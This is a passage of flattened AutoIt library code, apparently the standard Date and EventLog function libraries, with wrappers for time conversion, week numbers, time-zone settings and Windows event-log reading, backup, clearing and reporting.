$ireturn = _date_time_setlocaltime($tsystemtime) If @error Then Return SetError(@error + 10, @extended, 0) Return Int($ireturn) EndFunc Func _tickstotime($iticks, ByRef $ihours, ByRef $imins, ByRef $isecs) If Number($iticks) > 0 Then $iticks = Int($iticks / 1000) $ihours = Int($iticks / 3600) $iticks = Mod($iticks, 3600) $imins = Int($iticks / 60) $isecs = Mod($iticks, 60) Return 1 ElseIf Number($iticks) = 0 Then $ihours = 0 $iticks = 0 $imins = 0 $isecs = 0 Return 1 Else Return SetError(1, 0, 0) EndIf EndFunc Func _timetoticks($ihours = @HOUR, $imins = @MIN, $isecs = @SEC) If StringIsInt($ihours) AND StringIsInt($imins) AND StringIsInt($isecs) Then Local $iticks = 1000 * ((3600 * $ihours) + (60 * $imins) + $isecs) Return $iticks Else Return SetError(1, 0, 0) EndIf EndFunc Func _weeknumberiso($iyear = @YEAR, $imonth = @MON, $iday = @MDAY) If $iday > 31 OR $iday < 1 Then Return SetError(1, 0, -1) ElseIf NOT __dateismonth($imonth) Then Return SetError(2, 0, -1) ElseIf $iyear < 1 OR $iyear > 2999 Then Return SetError(3, 0, -1) EndIf Local $idow = _datetodayofweekiso($iyear, $imonth, $iday) - 1 Local $idow0101 = _datetodayofweekiso($iyear, 1, 1) - 1 If ($imonth = 1 AND 3 < $idow0101 AND $idow0101 < 7 - ($iday - 1)) Then $idow = $idow0101 - 1 $idow0101 = _datetodayofweekiso($iyear - 1, 1, 1) - 1 $imonth = 12 $iday = 31 $iyear = $iyear - 1 ElseIf ($imonth = 12 AND 30 - ($iday - 1) < _datetodayofweekiso($iyear + 1, 1, 1) - 1 AND _datetodayofweekiso($iyear + 1, 1, 1) - 1 < 4) Then Return 1 EndIf Return Int((_datetodayofweekiso($iyear, 1, 1) - 1 < 4) + 4 * ($imonth - 1) + (2 * ($imonth - 1) + ($iday - 1) + $idow0101 - $idow + 6) * 36 / 256) EndFunc Func _weeknumber($iyear = @YEAR, $imonth = @MON, $iday = @MDAY, $iweekstart = 1) If $iday > 31 OR $iday < 1 Then Return SetError(1, 0, -1) ElseIf NOT __dateismonth($imonth) Then Return SetError(3, 0, -1) ElseIf $iyear < 1 OR $iyear > 2999 Then Return SetError(4, 0, -1) ElseIf $iweekstart < 1 OR $iweekstart > 2 Then Return SetError(2, 0, -1) EndIf Local $istartweek1, $iendweek1 Local $idow0101 = _datetodayofweekiso($iyear, 1, 1) Local $idate = $iyear & "/" & $imonth & "/" & $iday If $iweekstart = 1 Then If $idow0101 = 6 Then $istartweek1 = 0 Else $istartweek1 = -1 * $idow0101 - 1 EndIf $iendweek1 = $istartweek1 + 6 Else $istartweek1 = $idow0101 * -1 $iendweek1 = $istartweek1 + 6 EndIf Local $istartweek1ny Local $iendweek1date = _dateadd("d", $iendweek1, $iyear & "/01/01") Local $idow0101ny = _datetodayofweekiso($iyear + 1, 1, 1) If $iweekstart = 1 Then If $idow0101ny = 6 Then $istartweek1ny = 0 Else $istartweek1ny = -1 * $idow0101ny - 1 EndIf Else $istartweek1ny = $idow0101ny * -1 EndIf Local $istartweek1dateny = _dateadd("d", $istartweek1ny, $iyear + 1 & "/01/01") Local $icurrdatediff = _datediff("d", $iendweek1date, $idate) - 1 Local $icurrdatediffny = _datediff("d", $istartweek1dateny, $idate) If $icurrdatediff >= 0 AND $icurrdatediffny < 0 Then Return 2 + Int($icurrdatediff / 7) If $icurrdatediff < 0 OR $icurrdatediffny >= 0 Then Return 1 EndFunc Func _daysinmonth($iyear) Local $adays = [12, 31, (_dateisleapyear($iyear) ? 29 : 28), 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] Return $adays EndFunc Func __date_time_clonesystemtime($psystemtime) Local $tsystemtime1 = DllStructCreate($tagsystemtime, $psystemtime) Local $tsystemtime2 = DllStructCreate($tagsystemtime) DllStructSetData($tsystemtime2, "Month", DllStructGetData($tsystemtime1, "Month")) DllStructSetData($tsystemtime2, "Day", DllStructGetData($tsystemtime1, "Day")) DllStructSetData($tsystemtime2, "Year", DllStructGetData($tsystemtime1, "Year")) DllStructSetData($tsystemtime2, "Hour", DllStructGetData($tsystemtime1, "Hour")) DllStructSetData($tsystemtime2, "Minute", DllStructGetData($tsystemtime1, "Minute")) DllStructSetData($tsystemtime2, "Second", DllStructGetData($tsystemtime1, "Second")) DllStructSetData($tsystemtime2, "MSeconds", DllStructGetData($tsystemtime1, "MSeconds")) DllStructSetData($tsystemtime2, "DOW", DllStructGetData($tsystemtime1, "DOW")) Return $tsystemtime2 EndFunc Func _date_time_comparefiletime($tfiletime1, $tfiletime2) Local $aresult = DllCall("kernel32.dll", "long", "CompareFileTime", "struct*", $tfiletime1, "struct*", $tfiletime2) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _date_time_dosdatetimetofiletime($ifatdate, $ifattime) Local $ttime = DllStructCreate($tagfiletime) Local $aresult = DllCall("kernel32.dll", "bool", "DosDateTimeToFileTime", "word", $ifatdate, "word", $ifattime, "struct*", $ttime) If @error Then Return SetError(@error, @extended, 0) Return SetExtended($aresult[0], $ttime) EndFunc Func _date_time_dosdatetoarray($idosdate) Local $adate[3] $adate[0] = BitAND($idosdate, 31) $adate[1] = BitAND(BitShift($idosdate, 5), 15) $adate[2] = BitAND(BitShift($idosdate, 9), 63) + 1980 Return $adate EndFunc Func _date_time_dosdatetimetoarray($idosdate, $idostime) Local $adate[6] $adate[0] = BitAND($idosdate, 31) $adate[1] = BitAND(BitShift($idosdate, 5), 15) $adate[2] = BitAND(BitShift($idosdate, 9), 63) + 1980 $adate[5] = BitAND($idostime, 31) * 2 $adate[4] = BitAND(BitShift($idostime, 5), 63) $adate[3] = BitAND(BitShift($idostime, 11), 31) Return $adate EndFunc Func _date_time_dosdatetimetostr($idosdate, $idostime) Local $adate = _date_time_dosdatetimetoarray($idosdate, $idostime) Return StringFormat("%02d/%02d/%04d %02d:%02d:%02d", $adate[0], $adate[1], $adate[2], $adate[3], $adate[4], $adate[5]) EndFunc Func _date_time_dosdatetostr($idosdate) Local $adate = _date_time_dosdatetoarray($idosdate) Return StringFormat("%02d/%02d/%04d", $adate[0], $adate[1], $adate[2]) EndFunc Func _date_time_dostimetoarray($idostime) Local $atime[3] $atime[2] = BitAND($idostime, 31) * 2 $atime[1] = BitAND(BitShift($idostime, 5), 63) $atime[0] = BitAND(BitShift($idostime, 11), 31) Return $atime EndFunc Func _date_time_dostimetostr($idostime) Local $atime = _date_time_dostimetoarray($idostime) Return StringFormat("%02d:%02d:%02d", $atime[0], $atime[1], $atime[2]) EndFunc Func _date_time_encodefiletime($imonth, $iday, $iyear, $ihour = 0, $iminute = 0, $isecond = 0, $imseconds = 0) Local $tsystemtime = _date_time_encodesystemtime($imonth, $iday, $iyear, $ihour, $iminute, $isecond, $imseconds) Return _date_time_systemtimetofiletime($tsystemtime) EndFunc Func _date_time_encodesystemtime($imonth, $iday, $iyear, $ihour = 0, $iminute = 0, $isecond = 0, $imseconds = 0) Local $tsystemtime = DllStructCreate($tagsystemtime) DllStructSetData($tsystemtime, "Month", $imonth) DllStructSetData($tsystemtime, "Day", $iday) DllStructSetData($tsystemtime, "Year", $iyear) DllStructSetData($tsystemtime, "Hour", $ihour) DllStructSetData($tsystemtime, "Minute", $iminute) DllStructSetData($tsystemtime, "Second", $isecond) DllStructSetData($tsystemtime, "MSeconds", $imseconds) Return $tsystemtime EndFunc Func _date_time_filetimetoarray(ByRef $tfiletime) If ((DllStructGetData($tfiletime, 1) + DllStructGetData($tfiletime, 2)) = 0) Then Return SetError(10, 0, 0) Local $tsystemtime = _date_time_filetimetosystemtime($tfiletime) If @error Then Return SetError(@error, @extended, 0) Return _date_time_systemtimetoarray($tsystemtime) EndFunc Func _date_time_filetimetostr(ByRef $tfiletime, $ifmt = 0) Local $adate = _date_time_filetimetoarray($tfiletime) If @error Then Return SetError(@error, @extended, "") If $ifmt Then Return StringFormat("%04d/%02d/%02d %02d:%02d:%02d", $adate[2], $adate[0], $adate[1], $adate[3], $adate[4], $adate[5]) Else Return StringFormat("%02d/%02d/%04d %02d:%02d:%02d", $adate[0], $adate[1], $adate[2], $adate[3], $adate[4], $adate[5]) EndIf EndFunc Func _date_time_filetimetodosdatetime($tfiletime) Local $adate[2] Local $aresult = DllCall("kernel32.dll", "bool", "FileTimeToDosDateTime", "struct*", $tfiletime, "word*", 0, "word*", 0) If @error Then Return SetError(@error, @extended, $adate) $adate[0] = $aresult[2] $adate[1] = $aresult[3] Return SetExtended($aresult[0], $adate) EndFunc Func _date_time_filetimetolocalfiletime($tfiletime) Local $tlocal = DllStructCreate($tagfiletime) Local $aresult = DllCall("kernel32.dll", "bool", "FileTimeToLocalFileTime", "struct*", $tfiletime, "struct*", $tlocal) If @error Then Return SetError(@error, @extended, 0) Return SetExtended($aresult[0], $tlocal) EndFunc Func _date_time_filetimetosystemtime($tfiletime) Local $tsysttime = DllStructCreate($tagsystemtime) Local $aresult = DllCall("kernel32.dll", "bool", "FileTimeToSystemTime", "struct*", $tfiletime, "struct*", $tsysttime) If @error Then Return SetError(@error, @extended, 0) Return SetExtended($aresult[0], $tsysttime) EndFunc Func _date_time_getfiletime($hfile) Local $adate[3] $adate[0] = DllStructCreate($tagfiletime) $adate[1] = DllStructCreate($tagfiletime) $adate[2] = DllStructCreate($tagfiletime) Local $aresult = DllCall("kernel32.dll", "bool", "GetFileTime", "handle", $hfile, "struct*", $adate[0], "struct*", $adate[1], "struct*", $adate[2]) If @error Then Return SetError(@error, @extended, 0) Return SetExtended($aresult[0], $adate) EndFunc Func _date_time_getlocaltime() Local $tsysttime = DllStructCreate($tagsystemtime) DllCall("kernel32.dll", "none", "GetLocalTime", "struct*", $tsysttime) If @error Then Return SetError(@error, @extended, 0) Return $tsysttime EndFunc Func _date_time_getsystemtime() Local $tsysttime = DllStructCreate($tagsystemtime) DllCall("kernel32.dll", "none", "GetSystemTime", "struct*", $tsysttime) If @error Then Return SetError(@error, @extended, 0) Return $tsysttime EndFunc Func _date_time_getsystemtimeadjustment() Local $ainfo[3] Local $aresult = DllCall("kernel32.dll", "bool", "GetSystemTimeAdjustment", "dword*", 0, "dword*", 0, "bool*", 0) If @error Then Return SetError(@error, @extended, 0) $ainfo[0] = $aresult[1] $ainfo[1] = $aresult[2] $ainfo[2] = $aresult[3] <> 0 Return SetExtended($aresult[0], $ainfo) EndFunc Func _date_time_getsystemtimeasfiletime() Local $tfiletime = DllStructCreate($tagfiletime) DllCall("kernel32.dll", "none", "GetSystemTimeAsFileTime", "struct*", $tfiletime) If @error Then Return SetError(@error, @extended, 0) Return $tfiletime EndFunc Func _date_time_getsystemtimes() Local $ainfo[3] $ainfo[0] = DllStructCreate($tagfiletime) $ainfo[1] = DllStructCreate($tagfiletime) $ainfo[2] = DllStructCreate($tagfiletime) Local $aresult = DllCall("kernel32.dll", "bool", "GetSystemTimes", "struct*", $ainfo[0], "struct*", $ainfo[1], "struct*", $ainfo[2]) If @error Then Return SetError(@error, @extended, 0) Return SetExtended($aresult[0], $ainfo) EndFunc Func _date_time_gettickcount() Local $aresult = DllCall("kernel32.dll", "dword", "GetTickCount") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _date_time_gettimezoneinformation() Local $ttimezone = DllStructCreate($tagtime_zone_information) Local $aresult = DllCall("kernel32.dll", "dword", "GetTimeZoneInformation", "struct*", $ttimezone) If @error OR $aresult[0] = -1 Then Return SetError(@error, @extended, 0) Local $ainfo[8] $ainfo[0] = $aresult[0] $ainfo[1] = DllStructGetData($ttimezone, "Bias") $ainfo[2] = _winapi_widechartomultibyte(DllStructGetPtr($ttimezone, "StdName")) $ainfo[3] = __date_time_clonesystemtime(DllStructGetPtr($ttimezone, "StdDate")) $ainfo[4] = DllStructGetData($ttimezone, "StdBias") $ainfo[5] = _winapi_widechartomultibyte(DllStructGetPtr($ttimezone, "DayName")) $ainfo[6] = __date_time_clonesystemtime(DllStructGetPtr($ttimezone, "DayDate")) $ainfo[7] = DllStructGetData($ttimezone, "DayBias") Return $ainfo EndFunc Func _date_time_localfiletimetofiletime($tlocaltime) Local $tfiletime = DllStructCreate($tagfiletime) Local $aresult = DllCall("kernel32.dll", "bool", "LocalFileTimeToFileTime", "struct*", $tlocaltime, "struct*", $tfiletime) If @error Then Return SetError(@error, @extended, 0) Return SetExtended($aresult[0], $tfiletime) EndFunc Func _date_time_setfiletime($hfile, $tcreatetime, $tlastaccess, $tlastwrite) Local $aresult = DllCall("kernel32.dll", "bool", "SetFileTime", "handle", $hfile, "struct*", $tcreatetime, "struct*", $tlastaccess, "struct*", $tlastwrite) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _date_time_setlocaltime($tsystemtime) Local $aresult = DllCall("kernel32.dll", "bool", "SetLocalTime", "struct*", $tsystemtime) If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, False) $aresult = DllCall("kernel32.dll", "bool", "SetLocalTime", "struct*", $tsystemtime) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _date_time_setsystemtime($tsystemtime) Local $aresult = DllCall("kernel32.dll", "bool", "SetSystemTime", "struct*", $tsystemtime) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _date_time_setsystemtimeadjustment($iadjustment, $bdisabled) Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query)) If @error Then Return SetError(@error + 10, @extended, False) _security__setprivilege($htoken, "SeSystemtimePrivilege", True) Local $ierror = @error Local $ilasterror = @extended Local $bret = False If NOT @error Then Local $aresult = DllCall("kernel32.dll", "bool", "SetSystemTimeAdjustment", "dword", $iadjustment, "bool", $bdisabled) If @error Then $ierror = @error $ilasterror = @extended ElseIf $aresult[0] Then $bret = True Else $ierror = 20 $ilasterror = _winapi_getlasterror() EndIf _security__setprivilege($htoken, "SeSystemtimePrivilege", False) If NOT $ierror AND @error Then $ierror = 22 EndIf _winapi_closehandle($htoken) Return SetError($ierror, $ilasterror, $bret) EndFunc Func _date_time_settimezoneinformation($ibias, $sstdname, $tstddate, $istdbias, $sdayname, $tdaydate, $idaybias) Local $tstdname = _winapi_multibytetowidechar($sstdname) Local $tdayname = _winapi_multibytetowidechar($sdayname) Local $tzoneinfo = DllStructCreate($tagtime_zone_information) DllStructSetData($tzoneinfo, "Bias", $ibias) DllStructSetData($tzoneinfo, "StdName", DllStructGetData($tstdname, 1)) _memmovememory($tstddate, DllStructGetPtr($tzoneinfo, "StdDate"), DllStructGetSize($tstddate)) DllStructSetData($tzoneinfo, "StdBias", $istdbias) DllStructSetData($tzoneinfo, "DayName", DllStructGetData($tdayname, 1)) _memmovememory($tdaydate, DllStructGetPtr($tzoneinfo, "DayDate"), DllStructGetSize($tdaydate)) DllStructSetData($tzoneinfo, "DayBias", $idaybias) Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query)) If @error Then Return SetError(@error + 10, @extended, False) _security__setprivilege($htoken, "SeSystemtimePrivilege", True) Local $ierror = @error Local $ilasterror = @extended Local $bret = False If NOT @error Then Local $aresult = DllCall("kernel32.dll", "bool", "SetTimeZoneInformation", "struct*", $tzoneinfo) If @error Then $ierror = @error $ilasterror = @extended ElseIf $aresult[0] Then $ilasterror = 0 $bret = True Else $ierror = 20 $ilasterror = _winapi_getlasterror() EndIf _security__setprivilege($htoken, "SeSystemtimePrivilege", False) If NOT $ierror AND @error Then $ierror = 22 EndIf _winapi_closehandle($htoken) Return SetError($ierror, $ilasterror, $bret) EndFunc Func _date_time_systemtimetoarray(ByRef $tsystemtime) Local $ainfo[8] $ainfo[0] = DllStructGetData($tsystemtime, "Month") $ainfo[1] = DllStructGetData($tsystemtime, "Day") $ainfo[2] = DllStructGetData($tsystemtime, "Year") $ainfo[3] = DllStructGetData($tsystemtime, "Hour") $ainfo[4] = DllStructGetData($tsystemtime, "Minute") $ainfo[5] = DllStructGetData($tsystemtime, "Second") $ainfo[6] = DllStructGetData($tsystemtime, "MSeconds") $ainfo[7] = DllStructGetData($tsystemtime, "DOW") Return $ainfo EndFunc Func _date_time_systemtimetodatestr(ByRef $tsystemtime, $ifmt = 0) Local $ainfo = _date_time_systemtimetoarray($tsystemtime) If @error Then Return SetError(@error, @extended, "") If $ifmt Then Return StringFormat("%04d/%02d/%02d", $ainfo[2], $ainfo[0], $ainfo[1]) Else Return StringFormat("%02d/%02d/%04d", $ainfo[0], $ainfo[1], $ainfo[2]) EndIf EndFunc Func _date_time_systemtimetodatetimestr(ByRef $tsystemtime, $ifmt = 0) Local $ainfo = _date_time_systemtimetoarray($tsystemtime) If @error Then Return SetError(@error, @extended, "") If $ifmt Then Return StringFormat("%04d/%02d/%02d %02d:%02d:%02d", $ainfo[2], $ainfo[0], $ainfo[1], $ainfo[3], $ainfo[4], $ainfo[5]) Else Return StringFormat("%02d/%02d/%04d %02d:%02d:%02d", $ainfo[0], $ainfo[1], $ainfo[2], $ainfo[3], $ainfo[4], $ainfo[5]) EndIf EndFunc Func _date_time_systemtimetofiletime($tsystemtime) Local $tfiletime = DllStructCreate($tagfiletime) Local $aresult = DllCall("kernel32.dll", "bool", "SystemTimeToFileTime", "struct*", $tsystemtime, "struct*", $tfiletime) If @error Then Return SetError(@error, @extended, 0) Return SetExtended($aresult[0], $tfiletime) EndFunc Func _date_time_systemtimetotimestr(ByRef $tsystemtime) Local $ainfo = _date_time_systemtimetoarray($tsystemtime) Return StringFormat("%02d:%02d:%02d", $ainfo[3], $ainfo[4], $ainfo[5]) EndFunc Func _date_time_systemtimetotzspecificlocaltime($tutc, $ttimezone = 0) Local $tlocaltime = DllStructCreate($tagsystemtime) Local $aresult = DllCall("kernel32.dll", "bool", "SystemTimeToTzSpecificLocalTime", "struct*", $ttimezone, "struct*", $tutc, "struct*", $tlocaltime) If @error Then Return SetError(@error, @extended, 0) Return SetExtended($aresult[0], $tlocaltime) EndFunc Func _date_time_tzspecificlocaltimetosystemtime($tlocaltime, $ttimezone = 0) Local $tutc = DllStructCreate($tagsystemtime) Local $aresult = DllCall("kernel32.dll", "bool", "TzSpecificLocalTimeToSystemTime", "struct*", $ttimezone, "struct*", $tlocaltime, "struct*", $tutc) If @error Then Return SetError(@error, @extended, 0) Return SetExtended($aresult[0], $tutc) EndFunc Global $__g_ssourcename_event Global Const $eventlog_success = 0 Global Const $eventlog_error_type = 1 Global Const $eventlog_warning_type = 2 Global Const $eventlog_information_type = 4 Global Const $eventlog_audit_success = 8 Global Const $eventlog_audit_failure = 16 Global Const $eventlog_sequential_read = 1 Global Const $eventlog_seek_read = 2 Global Const $eventlog_forwards_read = 4 Global Const $eventlog_backwards_read = 8 Global Const $__eventlog_load_library_as_datafile = 2 Global Const $__eventlog_format_message_from_hmodule = 2048 Global Const $__eventlog_format_message_ignore_inserts = 512 Func _eventlog__backup($heventlog, $sfilename) Local $aresult = DllCall("advapi32.dll", "bool", "BackupEventLogW", "handle", $heventlog, "wstr", $sfilename) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] <> 0 EndFunc Func _eventlog__clear($heventlog, $sfilename) Local $btemp = False If StringLen($sfilename) = 0 Then $sfilename = @TempDir & "\_EventLog_tempbackup.bak" $btemp = True EndIf Local $aresult = DllCall("advapi32.dll", "bool", "ClearEventLogW", "handle", $heventlog, "wstr", $sfilename) If @error Then Return SetError(@error, @extended, False) If $btemp Then FileDelete($sfilename) Return $aresult[0] <> 0 EndFunc Func _eventlog__close($heventlog) Local $aresult = DllCall("advapi32.dll", "bool", "CloseEventLog", "handle", $heventlog) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] <> 0 EndFunc Func _eventlog__count($heventlog) Local $aresult = DllCall("advapi32.dll", "bool", "GetNumberOfEventLogRecords", "handle", $heventlog, "dword*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] = 0 Then Return -1 Return $aresult[2] EndFunc Func __eventlog_decodecategory($teventlog) Return DllStructGetData($teventlog, "EventCategory") EndFunc Func __eventlog_decodecomputer($teventlog) Local $peventlog = DllStructGetPtr($teventlog) Local $ilength = DllStructGetData($teventlog, "UserSidOffset") - 1 Local $ioffset = DllStructGetSize($teventlog) $ioffset += 2 * (StringLen(__eventlog_decodesource($teventlog)) + 1) $ilength -= $ioffset Local $tbuffer = DllStructCreate("wchar Text[" & $ilength & "]", $peventlog + $ioffset) Return DllStructGetData($tbuffer, "Text") EndFunc Func __eventlog_decodedata($teventlog) Local $peventlog = DllStructGetPtr($teventlog) Local $ioffset = DllStructGetData($teventlog, "DataOffset") Local $ilength = DllStructGetData($teventlog, "DataLength") Local $tbuffer = DllStructCreate("byte[" & $ilength & "]", $peventlog + $ioffset) Local $adata[$ilength + 1] $adata[0] = $ilength For $ii = 1 To $ilength $adata[$ii] = DllStructGetData($tbuffer, 1, $ii) Next Return $adata EndFunc Func __eventlog_decodedate($ieventtime) Local $tint64 = DllStructCreate("int64") Local $pint64 = DllStructGetPtr($tint64) Local $tfiletime = DllStructCreate($tagfiletime, $pint64) DllStructSetData($tint64, 1, ($ieventtime * 10000000) + 116444736000000000) Local $tlocaltime = _date_time_filetimetolocalfiletime($tfiletime) Local $tsysttime = _date_time_filetimetosystemtime($tlocaltime) Local $imonth = DllStructGetData($tsysttime, "Month") Local $iday = DllStructGetData($tsysttime, "Day") Local $iyear = DllStructGetData($tsysttime, "Year") Return StringFormat("%02d/%02d/%04d", $imonth, $iday, $iyear) EndFunc Func __eventlog_decodedesc($teventlog) Local $astrings = __eventlog_decodestrings($teventlog) Local $ssource = __eventlog_decodesource($teventlog) Local $ieventid = DllStructGetData($teventlog, "EventID") Local $skey = "HKLM\SYSTEM\CurrentControlSet\Services\Eventlog\" & $__g_ssourcename_event & "\" & $ssource Local $amsgdll = StringSplit(_winapi_expandenvironmentstrings(RegRead($skey, "EventMessageFile")), ";") Local $iflags = BitOR($__eventlog_format_message_from_hmodule, $__eventlog_format_message_ignore_inserts) Local $sdesc = "" For $ii = 1 To $amsgdll[0] Local $hdll = _winapi_loadlibraryex($amsgdll[$ii], $__eventlog_load_library_as_datafile) If $hdll = 0 Then ContinueLoop Local $tbuffer = DllStructCreate("wchar Text[4096]") _winapi_formatmessage($iflags, $hdll, $ieventid, 0, $tbuffer, 4096, 0) _winapi_freelibrary($hdll) $sdesc &= DllStructGetData($tbuffer, "Text") Next If $sdesc = "" Then For $ii = 1 To $astrings[0] $sdesc &= $astrings[$ii] Next Else For $ii = 1 To $astrings[0] $sdesc = StringReplace($sdesc, "%" & $ii, $astrings[$ii]) Next EndIf Return StringStripWS($sdesc, $str_stripleading + $str_striptrailing) EndFunc Func __eventlog_decodeeventid($teventlog) Return BitAND(DllStructGetData($teventlog, "EventID"), 32767) EndFunc Func __eventlog_decodesource($teventlog) Local $peventlog = DllStructGetPtr($teventlog) Local $ilength = DllStructGetData($teventlog, "UserSidOffset") - 1 Local $ioffset = DllStructGetSize($teventlog) $ilength -= $ioffset Local $tbuffer = DllStructCreate("wchar Text[" & $ilength & "]", $peventlog + $ioffset) Return DllStructGetData($tbuffer, "Text") EndFunc Func __eventlog_decodestrings($teventlog) Local $peventlog = DllStructGetPtr($teventlog) Local $inumstrs = DllStructGetData($teventlog, "NumStrings") Local $ioffset = DllStructGetData($teventlog, "StringOffset") Local $idataoffset = DllStructGetData($teventlog, "DataOffset") Local $tbuffer = DllStructCreate("wchar Text[" & $idataoffset - $ioffset & "]", $peventlog + $ioffset) Local $astrings[$inumstrs + 1] $astrings[0] = $inumstrs For $ii = 1 To $inumstrs $astrings[$ii] = DllStructGetData($tbuffer, "Text") $ioffset += 2 * (StringLen($astrings[$ii]) + 1) $tbuffer = DllStructCreate("wchar Text[" & $idataoffset - $ioffset & "]", $peventlog + $ioffset) Next Return $astrings EndFunc Func __eventlog_decodetime($ieventtime) Local $tint64 = DllStructCreate("int64") Local $pint64 = DllStructGetPtr($tint64) Local $tfiletime = DllStructCreate($tagfiletime, $pint64) DllStructSetData($tint64, 1, ($ieventtime * 10000000) + 116444736000000000) Local $tlocaltime = _date_time_filetimetolocalfiletime($tfiletime) Local $tsysttime = _date_time_filetimetosystemtime($tlocaltime) Local $ihours = DllStructGetData($tsysttime, "Hour") Local $iminutes = DllStructGetData($tsysttime, "Minute") Local $iseconds = DllStructGetData($tsysttime, "Second") Local $sampm = "AM" If $ihours < 12 Then If $ihours = 0 Then $ihours = 12 EndIf Else $sampm = "PM" If $ihours > 12 Then $ihours -= 12 EndIf EndIf Return StringFormat("%02d:%02d:%02d %s", $ihours, $iminutes, $iseconds, $sampm) EndFunc Func __eventlog_decodetypestr($ieventtype) Select Case $ieventtype = $eventlog_success Return "Success" Case $ieventtype = $eventlog_error_type Return "Error" Case $ieventtype = $eventlog_warning_type Return "Warning" Case $ieventtype = $eventlog_information_type Return "Information" Case $ieventtype = $eventlog_audit_success Return "Success audit" Case $ieventtype = $eventlog_audit_failure Return "Failure audit" Case Else Return $ieventtype EndSelect EndFunc Func __eventlog_decodeusername($teventlog) Local $peventlog = DllStructGetPtr($teventlog) If DllStructGetData($teventlog, "UserSidLength") = 0 Then Return "" Local $pacctsid = $peventlog + DllStructGetData($teventlog, "UserSidOffset") Local $aacctinfo = _security__lookupaccountsid($pacctsid) If IsArray($aacctinfo) Then Return $aacctinfo[1] Return "" EndFunc Func _eventlog__deregistersource($heventlog) Local $aresult = DllCall("advapi32.dll", "bool", "DeregisterEventSource", "handle", $heventlog) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] <> 0 EndFunc Func _eventlog__full($heventlog) Local $aresult = DllCall("advapi32.dll", "bool", "GetEventLogInformation", "handle", $heventlog, "dword", 0, "dword*", 0, "dword", 4, "dword*", 0) If @error Then Return SetError(@error, @extended, False) Return $aresult[3] <> 0 EndFunc Func _eventlog__notify($heventlog, $hevent) Local $aresult = DllCall("advapi32.dll", "bool", "NotifyChangeEventLog", "handle", $heventlog, "handle", $hevent) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] <> 0 EndFunc Func _eventlog__oldest($heventlog) Local $aresult = DllCall("advapi32.dll", "bool", "GetOldestEventLogRecord", "handle", $heventlog, "dword*", 0) If @error Then Return SetError(@error, @extended, 0) Return $aresult[2] EndFunc Func _eventlog__open($sservername, $ssourcename) $__g_ssourcename_event = $ssourcename Local $aresult = DllCall("advapi32.dll", "handle", "OpenEventLogW", "wstr", $sservername, "wstr", $ssourcename) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _eventlog__openbackup($sservername, $sfilename) Local $aresult = DllCall("advapi32.dll", "handle", "OpenBackupEventLogW", "wstr", $sservername, "wstr", $sfilename) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _eventlog__read($heventlog, $bread = True, $bforward = True, $ioffset = 0) Local $ireadflags, $aevent[15] $aevent[0] = False If $bread Then $ireadflags = $eventlog_sequential_read Else $ireadflags = $eventlog_seek_read EndIf If $bforward Then $ireadflags = BitOR($ireadflags, $eventlog_forwards_read) Else $ireadflags = BitOR($ireadflags, $eventlog_backwards_read) EndIf Local $tbuffer = DllStructCreate("wchar[1]") Local $aresult = DllCall("advapi32.dll", "bool", "ReadEventLogW", "handle", $heventlog, "dword", $ireadflags, "dword", $ioffset, "struct*", $tbuffer, "dword", 0, "dword*", 0, "dword*", 0) If @error Then Return SetError(@error, @extended, $aevent) Local $ibytesmin = $aresult[7] $tbuffer = DllStructCreate("wchar[" & $ibytesmin + 1 & "]") $aresult = DllCall("advapi32.dll", "bool", "ReadEventLogW", "handle", $heventlog, "dword", $ireadflags, "dword", $ioffset, "struct*", $tbuffer, "dword", $ibytesmin, "dword*", 0, "dword*", 0) If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, $aevent) Local $teventlog = DllStructCreate($tageventlogrecord, DllStructGetPtr($tbuffer)) $aevent[0] = True $aevent[1] = DllStructGetData($teventlog, "RecordNumber") $aevent[2] = __eventlog_decodedate(DllStructGetData($teventlog, "TimeGenerated")) $aevent[3] = __eventlog_decodetime(DllStructGetData($teventlog, "TimeGenerated")) $aevent[4] = __eventlog_decodedate(DllStructGetData($teventlog, "TimeWritten")) $aevent[5] = __eventlog_decodetime(DllStructGetData($teventlog, "TimeWritten")) $aevent[6] = __eventlog_decodeeventid($teventlog) $aevent[7] = DllStructGetData($teventlog, "EventType") $aevent[8] = __eventlog_decodetypestr(DllStructGetData($teventlog, "EventType")) $aevent[9] = __eventlog_decodecategory($teventlog) $aevent[10] = __eventlog_decodesource($teventlog) $aevent[11] = __eventlog_decodecomputer($teventlog) $aevent[12] = __eventlog_decodeusername($teventlog) $aevent[13] = __eventlog_decodedesc($teventlog) $aevent[14] = __eventlog_decodedata($teventlog) Return $aevent EndFunc Func _eventlog__registersource($sservername, $ssourcename) $__g_ssourcename_event = $ssourcename Local $aresult = DllCall("advapi32.dll", "handle", "RegisterEventSourceW", "wstr", $sservername, "wstr", $ssourcename) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _eventlog__report($heventlog, $itype, $icategory, $ieventid, $susername, $sdesc, $adata) Local $tsid = 0 If $susername <> "" Then $tsid = _security__getaccountsid($susername) EndIf Local $idata = $adata[0] Local $tdata = DllStructCreate("byte[" & $idata & "]") Local $idesc = StringLen($sdesc) + 1 Local $tdesc = DllStructCreate("wchar[" & $idesc & "]") Local $tptr = DllStructCreate("ptr") DllStructSetData($tptr, 1, DllStructGetPtr($tdesc)) DllStructSetData($tdesc, 1, $sdesc) For $ii = 1 To $idata DllStructSetData($tdata, 1, $adata[$ii], $ii) Next Local $aresult = DllCall("advapi32.dll", "bool", "ReportEventW", "handle", $heventlog, "word", $itype, "word", $icategory, "dword", $ieventid, "struct*", $tsid, "word", 1, "dword", $idata, "struct*", $tptr, 